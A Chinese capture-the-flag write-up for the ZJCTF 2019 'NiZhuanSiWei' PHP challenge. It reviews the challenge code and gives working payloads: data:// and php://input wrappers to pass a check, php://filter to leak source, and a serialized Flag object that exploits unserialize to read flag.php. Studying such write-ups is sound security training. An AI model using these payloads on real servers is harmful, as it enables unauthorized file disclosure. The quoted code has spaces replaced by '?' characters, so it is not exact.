伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei

2023-12-22 00:59:03

打开题目

代码审计

第一层绕过

if(isset($text)&&(file_get_contents($text,'r')==="welcome?to?the?zjctf")){
????echo?"<br><h1>".file_get_contents($text,'r')."</h1></br>";

要求我们get传参的text内容必须为welcome?to?the?zjctf,才能下一步

解法1

用php://input协议写入,然后把内容post上

成功写入

解法2

当然这里也可以用data伪协议

我们先把内容进行base64编码

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

成功绕过

第二层绕过

??? if(preg_match("/flag/",$file)){
??????? echo "Not now!";
??????? exit();
??? }else{
??????? include($file);? //useless.php
??????? $password = unserialize($password);
??????? echo $password;
??? }

我们用get姿势传入的file值,这里用正则限制了file参数里面不能含有 /flag/

如果不含有 /flag/ 的话,这里提示了我们有个useless.php,然后这里对我们get传参的password进行了反序列化并输出,

这里我们用伪协议读取useless.php文件

我们用php://filter协议

&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得到

得到代码

第三层绕过

<?php ?

class Flag{? //flag.php ?
??? public $file; ?
??? public function __tostring(){ ?
??????? if(isset($this->file)){ ?
??????????? echo file_get_contents($this->file);
??????????? echo "<br>";
??????? return ("U R SO CLOSE !///COME ON PLZ");
??????? } ?
??? } ?
} ?
?>?

在这里用tostring函数限制了flie参数必须为字符串,然后输出包含的文件

进行序列化操作后

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}?

payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码得到flag

文章来源:https://blog.csdn.net/m0_75178803/article/details/135140724
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。